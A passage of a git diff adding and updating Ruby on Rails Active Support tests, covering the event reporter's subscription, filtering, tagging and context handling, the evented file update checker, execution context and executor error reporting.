+      assert_equal([{ subscriber: @subscriber, filter: nil }], subscribers)
+    end
+
+    test "#subscribe with filter" do
+      reporter = ActiveSupport::EventReporter.new
+
+      filter = ->(event) { event[:name].start_with?("user.") }
+      subscribers = reporter.subscribe(@subscriber, &filter)
+
+      assert_equal([{ subscriber: @subscriber, filter: filter }], subscribers)
+    end
+
+    test "#subscribe raises ArgumentError when sink doesn't respond to emit" do
+      invalid_subscriber = Object.new
+
+      error = assert_raises(ArgumentError) do
+        @reporter.subscribe(invalid_subscriber)
+      end
+
+      assert_equal "Event subscriber Object must respond to #emit", error.message
+    end
+
+    test "#unsubscribe" do
+      first_subscriber = @subscriber
+      second_subscriber = EventSubscriber.new
+
+      @reporter.subscribe(second_subscriber)
+      @reporter.notify(:test_event, key: "value")
+
+      assert event_matcher(name: "test_event", payload: { key: "value" }).call(second_subscriber.events.last)
+
+      @reporter.unsubscribe(second_subscriber)
+
+      assert_not_called(second_subscriber, :emit, [
+        event_matcher(name: "another_event")
+      ]) do
+        @reporter.notify(:another_event, key: "value")
+      end
+
+      assert event_matcher(name: "another_event", payload: { key: "value" }).call(first_subscriber.events.last)
+
+      @reporter.unsubscribe(EventSubscriber)
+      @reporter.notify(:last_event, key: "value")
+
+      assert_empty first_subscriber.events.select(&event_matcher(name: "last_event", payload: { key: "value" }))
+      assert_empty second_subscriber.events.select(&event_matcher(name: "last_event", payload: { key: "value" }))
+    end
+
+    test "#notify with name" do
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event")
+      ]) do
+        @reporter.notify(:test_event)
+      end
+    end
+
+    test "#notify filters" do
+      reporter = ActiveSupport::EventReporter.new
+      reporter.subscribe(@subscriber) { |event| event[:name].start_with?("user_") }
+
+      assert_not_called(@subscriber, :emit) do
+        reporter.notify(:test_event)
+      end
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "user_event")
+      ]) do
+        reporter.notify(:user_event)
+      end
+    end
+
+    test "#notify with name and hash payload" do
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value" })
+      ]) do
+        @reporter.notify(:test_event, { key: "value" })
+      end
+    end
+
+    test "#notify with name and kwargs" do
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value" })
+      ]) do
+        @reporter.notify(:test_event, key: "value")
+      end
+    end
+
+    test "#notify symbolizes keys in hash payload" do
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value" })
+      ]) do
+        @reporter.notify(:test_event, { "key" => "value" })
+      end
+    end
+
+    test "#notify with hash payload and kwargs raises" do
+      error = assert_raises(ArgumentError) do
+        @reporter.notify(:test_event, { key: "value" }, extra: "arg")
+      end
+
+      assert_match(
+        /Rails.event.notify accepts either an event object, a payload hash, or keyword arguments/,
+        error.message
+      )
+    end
+
+    test "#notify includes source location in event payload" do
+      filepath = __FILE__
+      lineno = __LINE__ + 4
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", source_location: { filepath:, lineno: })
+      ]) do
+        @reporter.notify("test_event")
+      end
+    end
+
+    test "#notify with caller depth option" do
+      logging_abstraction = LoggingAbstraction.new(@reporter)
+      filepath = __FILE__
+      lineno = __LINE__ + 4
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "custom_event", payload: { message: "hello" }, source_location: { filepath:, lineno: })
+      ]) do
+        logging_abstraction.a_log_method("hello")
+      end
+    end
+
+    test "#notify with event object" do
+      event = TestEvent.new("value")
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: TestEvent.name, payload: event)
+      ]) do
+        @reporter.notify(event)
+      end
+    end
+
+    test "#notify with event object and kwargs raises when raise_on_error is true" do
+      event = TestEvent.new("value")
+      error = assert_raises(ArgumentError) do
+        @reporter.notify(event, extra: "arg")
+      end
+
+      assert_match(
+        /Rails.event.notify accepts either an event object, a payload hash, or keyword arguments/,
+        error.message
+      )
+    end
+
+    test "#notify with event object and hash payload raises when raise_on_error is true" do
+      event = TestEvent.new("value")
+      error = assert_raises(ArgumentError) do
+        @reporter.notify(event, { extra: "arg" })
+      rescue RailsStrictWarnings::WarningError => _e
+        # Expected warning
+      end
+
+      assert_match(
+        /Rails.event.notify accepts either an event object, a payload hash, or keyword arguments/,
+        error.message
+      )
+    end
+
+    test "#notify with event object and kwargs warns when raise_on_error is false" do
+      @reporter = EventReporter.new(@subscriber, raise_on_error: false)
+
+      event = TestEvent.new("value")
+
+      error_report = assert_error_reported do
+        assert_called_with(@subscriber, :emit, [event_matcher(name: TestEvent.name, payload: event)]) do
+          @reporter.notify(event, extra: "arg")
+        end
+      end
+
+      err = error_report.error.message
+      assert_match(/Rails.event.notify accepts either an event object, a payload hash, or keyword arguments/, err)
+    end
+
+    test "#notify warns about subscriber errors when raise_on_error is false" do
+      @reporter = EventReporter.new(@subscriber, raise_on_error: false)
+
+      @reporter.subscribe(ErrorSubscriber.new)
+
+      error_report = assert_error_reported do
+        @reporter.notify(:test_event)
+      end
+      assert_equal "Uh oh!", error_report.error.message
+    end
+
+    test "#notify raises subscriber errors when raise_on_error is true" do
+      @reporter.subscribe(ErrorSubscriber.new)
+
+      error = assert_raises(StandardError) do
+        @reporter.notify(:test_event)
+      end
+
+      assert_equal("Uh oh!", error.message)
+    end
+
+    test "#notify with filtered payloads" do
+      filter = ActiveSupport::ParameterFilter.new([:zomg], mask: "[FILTERED]")
+      @reporter.stub(:payload_filter, filter) do
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "test_event", payload: { key: "value", zomg: "[FILTERED]" })
+        ]) do
+          @reporter.notify(:test_event, { key: "value", zomg: "secret" })
+        end
+      end
+    end
+
+    test "default filter_parameters is used by default" do
+      old_filter_parameters = ActiveSupport.filter_parameters
+      ActiveSupport.filter_parameters = [:secret]
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value", secret: "[FILTERED]" })
+      ]) do
+        @reporter.notify(:test_event, { key: "value", secret: "hello" })
+      end
+    ensure
+      ActiveSupport.filter_parameters = old_filter_parameters
+    end
+
+    test ".filter_parameters is used when present" do
+      old_filter_parameters = EventReporter.filter_parameters
+      EventReporter.filter_parameters = [:foo]
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value", foo: "[FILTERED]" })
+      ]) do
+        @reporter.notify(:test_event, { key: "value", foo: "hello" })
+      end
+    ensure
+      EventReporter.filter_parameters = old_filter_parameters
+    end
+
+    test "#with_debug" do
+      @reporter.with_debug do
+        assert_predicate @reporter, :debug_mode?
+      end
+      assert_not_predicate @reporter, :debug_mode?
+    end
+
+    test "#debug_mode? returns true by default" do
+      assert @old_debug_mode
+    end
+
+    test "#debug_mode? returns true when debug_mode=true is set" do
+      @reporter.debug_mode = true
+      assert_predicate @reporter, :debug_mode?
+    end
+
+    test "#with_debug works with nested calls" do
+      @reporter.with_debug do
+        assert_predicate @reporter, :debug_mode?
+
+        @reporter.with_debug do
+          assert_predicate @reporter, :debug_mode?
+        end
+
+        assert_predicate @reporter, :debug_mode?
+      end
+    end
+
+    test "#debug emits when in debug mode" do
+      @reporter.with_debug do
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "test_event", payload: { key: "value" })
+        ]) do
+          @reporter.debug(:test_event, key: "value")
+        end
+      end
+    end
+
+    test "#debug with caller depth" do
+      logging_abstraction = LoggingAbstraction.new(@reporter)
+      filepath = __FILE__
+      lineno = __LINE__ + 4
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "custom_event", payload: { message: "hello" }, source_location: { filepath:, lineno: })
+      ]) do
+        @reporter.with_debug { logging_abstraction.a_debug_method("hello") }
+      end
+    end
+
+    test "#debug emits in debug mode with block" do
+      @reporter.with_debug do
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "test_event", payload: { slow_to_compute: "value" })
+        ]) do
+          @reporter.debug(:test_event) do
+            { slow_to_compute: "value" }
+          end
+        end
+      end
+    end
+
+    test "#debug does not emit when not in debug mode" do
+      assert_not_called(@subscriber, :emit) do
+        @reporter.debug(:test_event, key: "value")
+      end
+    end
+
+    test "#debug with block merges kwargs" do
+      @reporter.with_debug do
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "test_event", payload: { key: "value", slow_to_compute: "another_value" })
+        ]) do
+          @reporter.debug(:test_event, key: "value") do
+            { slow_to_compute: "another_value" }
+          end
+        end
+      end
+    end
+
+    test "#tagged adds tags to the emitted event" do
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value" }, tags: { section: "admin" })
+      ]) do
+        @reporter.tagged(section: "admin") do
+          @reporter.notify(:test_event, key: "value")
+        end
+      end
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value" }, tags: { section: "checkouts" })
+      ]) do
+        @reporter.tagged({ section: "checkouts" }) do
+          @reporter.notify(:test_event, key: "value")
+        end
+      end
+    end
+
+    test "#tagged with nested tags" do
+      @reporter.tagged(section: "admin") do
+        @reporter.tagged(nested: "tag") do
+          assert_called_with(@subscriber, :emit, [
+            event_matcher(name: "test_event", payload: { key: "value" }, tags: { section: "admin", nested: "tag" })
+          ]) do
+            @reporter.notify(:test_event, key: "value")
+          end
+        end
+        @reporter.tagged(hello: "world") do
+          assert_called_with(@subscriber, :emit, [
+            event_matcher(name: "test_event", payload: { key: "value" }, tags: { section: "admin", hello: "world" })
+          ]) do
+            @reporter.notify(:test_event, key: "value")
+          end
+        end
+      end
+    end
+
+    test "#tagged with boolean tags" do
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value" }, tags: { is_for_testing: true })
+      ]) do
+        @reporter.tagged(:is_for_testing) do
+          @reporter.notify(:test_event, key: "value")
+        end
+      end
+    end
+
+    test "#tagged can overwrite values on collision" do
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value" }, tags: { section: "checkouts" })
+      ]) do
+        @reporter.tagged(section: "admin") do
+          @reporter.tagged(section: "checkouts") do
+            @reporter.notify(:test_event, key: "value")
+          end
+        end
+      end
+    end
+
+    test "#tagged with tag object" do
+      http_tag = HttpRequestTag.new("GET", 200)
+
+      @reporter.tagged(http_tag) do
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "test_event", payload: { key: "value" }, tags: { "#{HttpRequestTag.name}": http_tag })
+        ]) do
+          @reporter.notify(:test_event, key: "value")
+        end
+      end
+    end
+
+    test "#tagged with mixed tags" do
+      http_tag = HttpRequestTag.new("GET", 200)
+      @reporter.tagged("foobar", http_tag, shop_id: 123) do
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "test_event", payload: { key: "value" }, tags: { foobar: true, "#{HttpRequestTag.name}": http_tag, shop_id: 123 })
+        ]) do
+          @reporter.notify(:test_event, key: "value")
+        end
+      end
+    end
+
+    test "#tagged copies tag stack from parent fiber without mutating parent's tag stack" do
+      @reporter.tagged(shop_id: 999) do
+        Fiber.new do
+          @reporter.tagged(shop_id: 123) do
+            assert_called_with(@subscriber, :emit, [
+              event_matcher(name: "test_event", payload: { key: "value" }, tags: { shop_id: 123 })
+            ]) do
+              @reporter.notify(:test_event, key: "value")
+            end
+          end
+        end.resume
+
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "parent_event", payload: { key: "parent" }, tags: { shop_id: 999 })
+        ]) do
+          @reporter.notify(:parent_event, key: "parent")
+        end
+      end
+    end
+
+    test "#tagged maintains isolation between concurrent fibers" do
+      @reporter.tagged(shop_id: 123) do
+        fiber = Fiber.new do
+          assert_called_with(@subscriber, :emit, [
+            event_matcher(name: "child_event", payload: { key: "value" }, tags: { shop_id: 123 })
+          ]) do
+            @reporter.notify(:child_event, key: "value")
+          end
+        end
+
+        @reporter.tagged(api_client_id: 456) do
+          fiber.resume
+
+          # Verify parent fiber has both tags
+          assert_called_with(@subscriber, :emit, [
+            event_matcher(name: "parent_event", payload: { key: "parent" }, tags: { shop_id: 123, api_client_id: 456 })
+          ]) do
+            @reporter.notify(:parent_event, key: "parent")
+          end
+        end
+      end
+    end
+  end
+
+  class ContextStoreTest < ActiveSupport::TestCase
+    include EventReporter::TestHelper
+
+    setup do
+      @subscriber = EventReporter::TestHelper::EventSubscriber.new
+      @reporter = EventReporter.new(@subscriber, raise_on_error: true)
+    end
+
+    teardown do
+      EventContext.clear
+    end
+
+    test "#context returns empty hash by default" do
+      assert_equal({}, @reporter.context)
+    end
+
+    test "#set_context sets context data" do
+      @reporter.set_context(shop_id: 123)
+      assert_equal({ shop_id: 123 }, @reporter.context)
+    end
+
+    test "#set_context merges with existing context" do
+      @reporter.set_context(shop_id: 123)
+      @reporter.set_context(user_id: 456)
+      assert_equal({ shop_id: 123, user_id: 456 }, @reporter.context)
+    end
+
+    test "#set_context overwrites existing keys" do
+      @reporter.set_context(shop_id: 123)
+      @reporter.set_context(shop_id: 456)
+      assert_equal({ shop_id: 456 }, @reporter.context)
+    end
+
+    test "#set_context with string keys converts them to symbols" do
+      @reporter.set_context("shop_id" => 123)
+      assert_equal({ shop_id: 123 }, @reporter.context)
+    end
+
+    test "#clear_context removes all context data" do
+      @reporter.set_context(shop_id: 123, user_id: 456)
+      @reporter.clear_context
+      assert_equal({}, @reporter.context)
+    end
+
+    test "#notify includes context in event" do
+      @reporter.set_context(shop_id: 123)
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "test_event", payload: { key: "value" }, tags: {}, context: { shop_id: 123 })
+      ]) do
+        @reporter.notify(:test_event, key: "value")
+      end
+    end
+
+    test "#context inherited by child fibers without mutating parent's context" do
+      @reporter.set_context(shop_id: 999)
+      Fiber.new do
+        @reporter.set_context(shop_id: 123)
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "test_event", context: { shop_id: 123 })
+        ]) do
+          @reporter.notify(:test_event)
+        end
+      end.resume
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "parent_event", payload: { key: "parent" }, context: { shop_id: 999 })
+      ]) do
+        @reporter.notify(:parent_event, key: "parent")
+      end
+    end
+
+    test "#context isolated between concurrent fibers" do
+      @reporter.set_context(shop_id: 123)
+      fiber = Fiber.new do
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "child_event", context: { shop_id: 123 })
+        ]) do
+          @reporter.notify(:child_event)
+        end
+      end
+
+      @reporter.set_context(api_client_id: 456)
+      fiber.resume
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "parent_event", context: { shop_id: 123, api_client_id: 456 })
+      ]) do
+        @reporter.notify(:parent_event)
+      end
+    end
+
+    test "context is preserved when using #tagged" do
+      @reporter.set_context(shop_id: 123)
+
+      @reporter.tagged(request_id: "abc") do
+        assert_equal({ shop_id: 123 }, @reporter.context)
+
+        assert_called_with(@subscriber, :emit, [
+          event_matcher(name: "test_event", payload: { key: "value" }, tags: { request_id: "abc" }, context: { shop_id: 123 })
+        ]) do
+          @reporter.notify(:test_event, key: "value")
+        end
+      end
+    end
+
+    test "payload filter reloading" do
+      @reporter.notify(:some_event, test: true)
+      ActiveSupport.filter_parameters << :param_to_be_filtered
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "some_event", payload: { param_to_be_filtered: "test" })
+      ]) do
+        @reporter.notify(:some_event, param_to_be_filtered: "test")
+      end
+
+      @reporter.reload_payload_filter
+
+      assert_called_with(@subscriber, :emit, [
+        event_matcher(name: "some_event", payload: { param_to_be_filtered: "[FILTERED]" })
+      ]) do
+        @reporter.notify(:some_event, param_to_be_filtered: "test")
+      end
+    ensure
+      ActiveSupport.filter_parameters.pop
+    end
+  end
+
+  class EncodersTest < ActiveSupport::TestCase
+    class TestEvent
+      def initialize(data)
+        @data = data
+      end
+
+      def to_h
+        { data: @data }
+      end
+    end
+
+    class HttpRequestTag
+      def initialize(http_method, http_status)
+        @http_method = http_method
+        @http_status = http_status
+      end
+
+      def to_h
+        {
+          http_method: @http_method,
+          http_status: @http_status,
+        }
+      end
+    end
+
+    setup do
+      @event = {
+        name: "test_event",
+        payload: { id: 123, message: "hello" },
+        tags: { section: "admin" },
+        context: { user_id: 456 },
+        timestamp: 1738964843208679035,
+        source_location: { filepath: "/path/to/file.rb", lineno: 42, label: "test_method" }
+      }
+    end
+  end
+end
diff --git a/activesupport/test/evented_file_update_checker_test.rb b/activesupport/test/evented_file_update_checker_test.rb
index f33a5f5764519..63bffc9931242 100644
--- a/activesupport/test/evented_file_update_checker_test.rb
+++ b/activesupport/test/evented_file_update_checker_test.rb
@@ -1,6 +1,9 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "pathname"
-require "file_update_checker_shared_tests"
+require "weakref"
+require_relative "file_update_checker_shared_tests"
 
 class EventedFileUpdateCheckerTest < ActiveSupport::TestCase
   include FileUpdateCheckerSharedTests
@@ -23,7 +26,12 @@ def teardown
   end
 
   def wait
-    sleep 1
+    sleep 0.5
+  end
+
+  def mkdir(dirs)
+    super
+    wait # wait for the events to fire
   end
 
   def touch(files)
@@ -31,24 +39,30 @@ def touch(files)
     wait # wait for the events to fire
   end
 
+  def rm_f(files)
+    super
+    wait # wait for the events to fire
+  end
+
   test "notifies forked processes" do
-    jruby_skip "Forking not available on JRuby"
+    skip "Forking not available" unless Process.respond_to?(:fork)
 
     FileUtils.touch(tmpfiles)
 
-    checker = new_checker(tmpfiles) {}
-    assert !checker.updated?
+    checker = new_checker(tmpfiles) { }
+    assert_not_predicate checker, :updated?
 
     # Pipes used for flow control across fork.
-    boot_reader,  boot_writer  = IO.pipe
+    boot_reader, boot_writer = IO.pipe
     touch_reader, touch_writer = IO.pipe
+    result_reader, result_writer = IO.pipe
 
     pid = fork do
-      assert checker.updated?
+      assert_not_predicate checker, :updated?
 
-      # Clear previous check value.
-      checker.execute
-      assert !checker.updated?
+      # The listen gem start multiple background threads that need to reach a ready state.
+      # Unfortunately, it doesn't look like there is a clean way to block until they are ready.
+      wait
 
       # Fork is booted, ready for file to be touched
       # notify parent process.
@@ -58,11 +72,18 @@ def touch(files)
       # has been touched.
       IO.select([touch_reader])
 
-      assert checker.updated?
+      assert_predicate checker, :updated?
+    rescue Exception => ex
+      result_writer.write("#{ex.class.name}: #{ex.message}")
+      raise
+    ensure
+      result_writer.close
     end
 
     assert pid
 
+    result_writer.close
+
     # Wait for fork to be booted before touching files.
     IO.select([boot_reader])
     touch(tmpfiles)
@@ -70,126 +91,90 @@ def touch(files)
     # Notify fork that files have been touched.
     touch_writer.write("touched")
 
-    assert checker.updated?
+    assert_predicate checker, :updated?
 
     Process.wait(pid)
-  end
-end
 
-class EventedFileUpdateCheckerPathHelperTest < ActiveSupport::TestCase
-  def pn(path)
-    Pathname.new(path)
+    assert_equal "", result_reader.read
   end
 
-  setup do
-    @ph = ActiveSupport::EventedFileUpdateChecker::PathHelper.new
-  end
+  test "can be garbage collected" do
+    # Use a separate thread to isolate objects and ensure they will be garbage collected.
+    checker_ref, listener_threads = Thread.new do
+      threads_before_checker = Thread.list
+      checker = ActiveSupport::EventedFileUpdateChecker.new([], tmpdir => ".rb") { }
 
-  test "#xpath returns the expanded path as a Pathname object" do
-    assert_equal pn(__FILE__).expand_path, @ph.xpath(__FILE__)
-  end
+      # Wait for listener thread to start processing events.
+      wait
 
-  test "#normalize_extension returns a bare extension as is" do
-    assert_equal "rb", @ph.normalize_extension("rb")
-  end
+      [WeakRef.new(checker), Thread.list - threads_before_checker]
+    end.value
 
-  test "#normalize_extension removes a leading dot" do
-    assert_equal "rb", @ph.normalize_extension(".rb")
-  end
+    GC.start
+    listener_threads.each { |t| t.join(1) }
 
-  test "#normalize_extension supports symbols" do
-    assert_equal "rb", @ph.normalize_extension(:rb)
+    assert_not checker_ref.weakref_alive?, "EventedFileUpdateChecker was not garbage collected"
+    assert_empty Thread.list & listener_threads
   end
 
-  test "#longest_common_subpath finds the longest common subpath, if there is one" do
-    paths = %w(
-      /foo/bar
-      /foo/baz
-      /foo/bar/baz/woo/zoo
-    ).map { |path| pn(path) }
+  test "should detect changes through symlink" do
+    actual_dir = File.join(tmpdir, "actual")
+    linked_dir = File.join(tmpdir, "linked")
 
-    assert_equal pn("/foo"), @ph.longest_common_subpath(paths)
-  end
-
-  test "#longest_common_subpath returns the root directory as an edge case" do
-    paths = %w(
-      /foo/bar
-      /foo/baz
-      /foo/bar/baz/woo/zoo
-      /wadus
-    ).map { |path| pn(path) }
+    Dir.mkdir(actual_dir)
+    FileUtils.ln_s(actual_dir, linked_dir)
 
-    assert_equal pn("/"), @ph.longest_common_subpath(paths)
-  end
+    checker = new_checker([], linked_dir => ".rb") { }
 
-  test "#longest_common_subpath returns nil for an empty collection" do
-    assert_nil @ph.longest_common_subpath([])
-  end
+    assert_not_predicate checker, :updated?
 
-  test "#existing_parent returns the most specific existing ascendant" do
-    wd = Pathname.getwd
+    touch(File.join(actual_dir, "a.rb"))
 
-    assert_equal wd, @ph.existing_parent(wd)
-    assert_equal wd, @ph.existing_parent(wd.join("non-existing/directory"))
-    assert_equal pn("/"), @ph.existing_parent(pn("/non-existing/directory"))
+    assert_predicate checker, :updated?
+    assert checker.execute_if_updated
   end
 
-  test "#filter_out_descendants returns the same collection if there are no descendants (empty)" do
-    assert_equal [], @ph.filter_out_descendants([])
-  end
+  test "updated should become true when nonexistent directory is added later" do
+    watched_dir = File.join(tmpdir, "app")
+    unwatched_dir = File.join(tmpdir, "node_modules")
+    not_exist_watched_dir = File.join(tmpdir, "test")
 
-  test "#filter_out_descendants returns the same collection if there are no descendants (one)" do
-    assert_equal ["/foo"], @ph.filter_out_descendants(["/foo"])
-  end
+    Dir.mkdir(watched_dir)
+    Dir.mkdir(unwatched_dir)
 
-  test "#filter_out_descendants returns the same collection if there are no descendants (several)" do
-    paths = %w(
-      /Rails.root/app/controllers
-      /Rails.root/app/models
-      /Rails.root/app/helpers
-    ).map { |path| pn(path) }
+    checker = new_checker([], watched_dir => ".rb", not_exist_watched_dir => ".rb") { }
 
-    assert_equal paths, @ph.filter_out_descendants(paths)
-  end
+    touch(File.join(watched_dir, "a.rb"))
+    assert_predicate checker, :updated?
+    assert checker.execute_if_updated
 
-  test "#filter_out_descendants filters out descendants preserving order" do
-    paths = %w(
-      /Rails.root/app/controllers
-      /Rails.root/app/controllers/concerns
-      /Rails.root/app/models
-      /Rails.root/app/models/concerns
-      /Rails.root/app/helpers
-    ).map { |path| pn(path) }
+    Dir.mkdir(not_exist_watched_dir)
+    wait
+    assert_predicate checker, :updated?
+    assert checker.execute_if_updated
 
-    assert_equal paths.values_at(0, 2, 4), @ph.filter_out_descendants(paths)
+    touch(File.join(unwatched_dir, "a.rb"))
+    assert_not_predicate checker, :updated?
+    assert_not checker.execute_if_updated
   end
 
-  test "#filter_out_descendants works on path units" do
-    paths = %w(
-      /foo/bar
-      /foo/barrrr
-    ).map { |path| pn(path) }
+  test "does not stop other checkers when nonexistent directory is added later" do
+    dir1 = File.join(tmpdir, "app")
+    dir2 = File.join(tmpdir, "test")
 
-    assert_equal paths, @ph.filter_out_descendants(paths)
-  end
+    Dir.mkdir(dir2)
 
-  test "#filter_out_descendants deals correctly with the root directory" do
-    paths = %w(
-      /
-      /foo
-      /foo/bar
-    ).map { |path| pn(path) }
+    checker1 = new_checker([], dir1 => ".rb") { }
+    checker2 = new_checker([], dir2 => ".rb") { }
 
-    assert_equal paths.values_at(0), @ph.filter_out_descendants(paths)
-  end
+    Dir.mkdir(dir1)
+
+    touch(File.join(dir1, "a.rb"))
+    assert_predicate checker1, :updated?
 
-  test "#filter_out_descendants preserves duplicates" do
-    paths = %w(
-      /foo
-      /foo/bar
-      /foo
-    ).map { |path| pn(path) }
+    assert_not_predicate checker2, :updated?
 
-    assert_equal paths.values_at(0, 2), @ph.filter_out_descendants(paths)
+    touch(File.join(dir2, "a.rb"))
+    assert_predicate checker2, :updated?
   end
 end
diff --git a/activesupport/test/execution_context_test.rb b/activesupport/test/execution_context_test.rb
new file mode 100644
index 0000000000000..502044e4b20f2
--- /dev/null
+++ b/activesupport/test/execution_context_test.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/execution_context/test_helper"
+
+class ExecutionContextTest < ActiveSupport::TestCase
+  # ExecutionContext is automatically reset in Rails app via executor hooks set in railtie
+  # But not in Active Support's own test suite.
+  include ActiveSupport::ExecutionContext::TestHelper
+
+  test "#set restore the modified keys when the block exits" do
+    assert_nil ActiveSupport::ExecutionContext.to_h[:foo]
+    ActiveSupport::ExecutionContext.set(foo: "bar") do
+      assert_equal "bar", ActiveSupport::ExecutionContext.to_h[:foo]
+      ActiveSupport::ExecutionContext.set(foo: "plop") do
+        assert_equal "plop", ActiveSupport::ExecutionContext.to_h[:foo]
+      end
+      assert_equal "bar", ActiveSupport::ExecutionContext.to_h[:foo]
+
+      ActiveSupport::ExecutionContext[:direct_assignment] = "present"
+      ActiveSupport::ExecutionContext.set(multi_assignment: "present")
+    end
+
+    assert_nil ActiveSupport::ExecutionContext.to_h[:foo]
+
+    assert_equal "present", ActiveSupport::ExecutionContext.to_h[:direct_assignment]
+    assert_equal "present", ActiveSupport::ExecutionContext.to_h[:multi_assignment]
+  end
+
+  test "#set coerce keys to symbol" do
+    ActiveSupport::ExecutionContext.set("foo" => "bar") do
+      assert_equal "bar", ActiveSupport::ExecutionContext.to_h[:foo]
+    end
+  end
+
+  test "#[]= coerce keys to symbol" do
+    ActiveSupport::ExecutionContext["symbol_key"] = "symbolized"
+    assert_equal "symbolized", ActiveSupport::ExecutionContext.to_h[:symbol_key]
+  end
+
+  test "#to_h returns a copy of the context" do
+    ActiveSupport::ExecutionContext[:foo] = 42
+    context = ActiveSupport::ExecutionContext.to_h
+    context[:foo] = 43
+    assert_equal 42, ActiveSupport::ExecutionContext.to_h[:foo]
+  end
+end
diff --git a/activesupport/test/executor_test.rb b/activesupport/test/executor_test.rb
index 7fefc066b33fa..44845d8e11136 100644
--- a/activesupport/test/executor_test.rb
+++ b/activesupport/test/executor_test.rb
@@ -1,7 +1,41 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 class ExecutorTest < ActiveSupport::TestCase
-  class DummyError < RuntimeError
+  class DummyError < Exception
+  end
+
+  class ErrorSubscriber
+    attr_reader :events
+
+    def initialize
+      @events = []
+    end
+
+    def report(error, handled:, severity:, source:, context:)
+      @events << [error, handled, severity, source, context]
+    end
+  end
+
+  def test_wrap_report_errors
+    subscriber = ErrorSubscriber.new
+    executor.error_reporter.subscribe(subscriber)
+    error = DummyError.new("Oops")
+    assert_raises DummyError do
+      executor.wrap do
+        raise error
+      end
+    end
+    assert_equal [error, false, :error, "application.active_support", {}], subscriber.events.last
+
+    error = DummyError.new("Oops")
+    assert_raises DummyError do
+      executor.wrap(source: "custom") do
+        raise error
+      end
+    end
+    assert_equal [error, false, :error, "custom", {}], subscriber.events.last
   end
 
   def test_wrap_invokes_callbacks
@@ -21,7 +55,7 @@ def test_callbacks_share_state
     executor.to_run { @foo = true }
     executor.to_complete { result = @foo }
 
-    executor.wrap {}
+    executor.wrap { }
 
     assert result
   end
@@ -83,7 +117,7 @@ def test_hooks_carry_state
 
     executor.register_hook(hook)
 
-    executor.wrap {}
+    executor.wrap { }
 
     assert_equal :some_state, supplied_state
   end
@@ -103,7 +137,7 @@ def test_nil_state_is_sufficient
 
     executor.register_hook(hook)
 
-    executor.wrap {}
+    executor.wrap { }
 
     assert_nil supplied_state
   end
@@ -127,7 +161,7 @@ def test_exception_skips_uninvoked_hook
     executor.register_hook(hook)
 
     assert_raises(DummyError) do
-      executor.wrap {}
+      executor.wrap { }
     end
 
     assert_equal :none, supplied_state
@@ -152,7 +186,7 @@ def test_exception_unwinds_invoked_hook
     end
 
     assert_raises(DummyError) do
-      executor.wrap {}
+      executor.wrap { }
     end
 
     assert_equal :some_state, supplied_state
@@ -185,36 +219,12 @@ def test_hook_insertion_order
     executor.register_hook(hook_class.new(:c), outer: true)
     executor.register_hook(hook_class.new(:d))
 
-    executor.wrap {}
+    executor.wrap { }
 
     assert_equal [:run_c, :run_a, :run_b, :run_d, :complete_a, :complete_b, :complete_d, :complete_c], invoked
     assert_equal [:state_a, :state_b, :state_d, :state_c], supplied_state
   end
 
-  def test_class_serial_is_unaffected
-    skip if !defined?(RubyVM)
-
-    hook = Class.new do
-      define_method(:run) do
-        nil
-      end
-
-      define_method(:complete) do |state|
-        nil
-      end
-    end.new
-
-    executor.register_hook(hook)
-
-    before = RubyVM.stat(:class_serial)
-    executor.wrap {}
-    executor.wrap {}
-    executor.wrap {}
-    after = RubyVM.stat(:class_serial)
-
-    assert_equal before, after
-  end
-
   def test_separate_classes_can_wrap
     other_executor = Class.new(ActiveSupport::Executor)
 
diff --git a/activesupport/test/file_update_checker_shared_tests.rb b/activesupport/test/file_update_checker_shared_tests.rb
index 361e7e2349ea6..1ad53f840a092 100644
--- a/activesupport/test/file_update_checker_shared_tests.rb
+++ b/activesupport/test/file_update_checker_shared_tests.rb
@@ -1,8 +1,9 @@
+# frozen_string_literal: true
+
 require "fileutils"
 
 module FileUpdateCheckerSharedTests
   extend ActiveSupport::Testing::Declarative
-  include FileUtils
 
   def tmpdir
     @tmpdir
@@ -28,10 +29,55 @@ def run(*args)
 
     checker = new_checker { i += 1 }
 
-    assert !checker.execute_if_updated
+    assert_not checker.execute_if_updated
     assert_equal 0, i
   end
 
+  test "should exclude files in gem path" do
+    fake_gem_dir = File.join(tmpdir, "gemdir")
+    FileUtils.mkdir_p(fake_gem_dir)
+    gem_file = File.join(fake_gem_dir, "foo.rb")
+    local_file = tmpfile("bar.rb")
